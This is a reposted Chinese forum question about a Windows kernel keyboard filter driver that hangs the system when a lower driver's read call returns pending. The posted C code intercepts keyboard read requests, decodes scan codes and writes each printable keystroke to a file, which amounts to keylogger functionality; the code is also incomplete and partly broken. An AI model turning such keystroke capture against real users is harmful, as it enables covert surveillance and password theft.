键盘过滤驱动只响应键盘,其他都死机了,为什么

C语言 码拜 9年前 (2015-05-11) 1088次浏览 0个评论

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
KEVENT event;
    PIO_STACK_LOCATION currentIrpStack; 
NTSTATUS ntStatus = STATUS_SUCCESS;
    //KdPrint((“KMRead.\n”));
   PUCHAR buff;
    int len;
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
   currentIrpStack = IoGetCurrentIrpStackLocation(Irp); 
 IoCopyCurrentIrpStackLocationToNext(Irp);   
    /* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
   如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
/*IoSetCompletionRoutine(Irp,
                           KMReadCompletion,
                           NULL,
                           TRUE,
                           TRUE,
                           TRUE);*/

IoSetCompletionRoutine(Irp,KMReadCompletion,&event,TRUE,TRUE,TRUE);
//初始化事件
KeInitializeEvent(&event, NotificationEvent, FALSE);
   
 ntStatus =IoCallDriver(myDeviceExtension->TargetDevice, Irp);

if (ntStatus == STATUS_PENDING)
{

KdPrint((“IoCallDriver return STATUS_PENDING,Waiting …\n”));
KeWaitForSingleObject(&event,Executive,KernelMode ,FALSE,NULL);

if (NT_SUCCESS(Irp->IoStatus.Status))               {
        // 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
       buff = (PUCHAR)Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即长度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0)         {
            /* 键盘被按下 */
switch (buff[2]) 
            {
case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
case 0x2A:
case 0x36:
                g_shift = 1;
                break;
case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
default:
                KMPrintKey(buff[2]);
                break;
            }
                  } else if (buff[4] == 1) 
                          {
            /* 键盘被释放 */
switch (buff[2]) {
case 0x2A:
case 0x36:
                g_shift = 0;
                break;
default: break;
                                         }
                          }
                                                   }

ntStatus = Irp->IoStatus.Status;
}                             
  IoCompleteRequest (Irp, IO_NO_INCREMENT);

KdPrint((“DriverB:Leave B HelloDDKRead\n”));

return ntStatus;
}

NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    
if (Irp->PendingReturned == TRUE) 
{
//设置事件
KeSetEvent((PKEVENT)Context,IO_NO_INCREMENT,FALSE);
}

return STATUS_MORE_PROCESSING_REQUIRED;

}

void KMPrintKey(UCHAR sch)
{

   
   IO_STATUS_BLOCK ioStatus;
    OBJECT_ATTRIBUTES oa;
   // UNICODE_STRING usPath;
    UCHAR ch = 0;
   UNICODE_STRING usBuff;
   UNICODE_STRING usCopyDes;
 PUCHAR usCopyDes1;
int len=sizeof(UCHAR);
   //WCHAR *UnicodeString = L”UnicodeString”;

    if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
        ch = asciiTbl[sch];
        if(g_shift && g_caps)
            ch = asciiTbl[sch+84*3];
        else if(g_shift==1)
            ch = asciiTbl[sch+84*2];
        else if(g_caps==1)
            ch = asciiTbl[sch+84];
}

if(ch==0x08)
{
//DbgPrint(“退格”);
}

if (ch >= 0x20 && ch < 0x7F)
{
//DbgPrint(“%C”,ch);
//DbgPrint(“美女123 %C”,ch);

usCopyDes1= (PUCHAR)ExAllocatePool(PagedPool,len);
  RtlFillMemory(usCopyDes1,len,ch);
  if(NT_SUCCESS(ntStatus))

{ZwWriteFile(
    hFile,
    NULL,
    NULL,
    NULL,
    &ioStatus,
    usCopyDes1,
     len,
    NULL,
    NULL);

}
ExFreePool(usCopyDes1);

}
}
[/code]

//这样,我把过滤的完成例程改为IoCallDriver异步的,就是IoCallDriver返回STATUS_PENDING就只响应键盘,其他都死机了。假如改回IoCallDriver同步的就没事。为什么。

20分
http://www.osronline.com/

CodeBye 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 , 转载请注明键盘过滤驱动只响应键盘,其他都死机了,为什么
喜欢 (0)
[1034331897@qq.com]
分享 (0)

文章评论已关闭!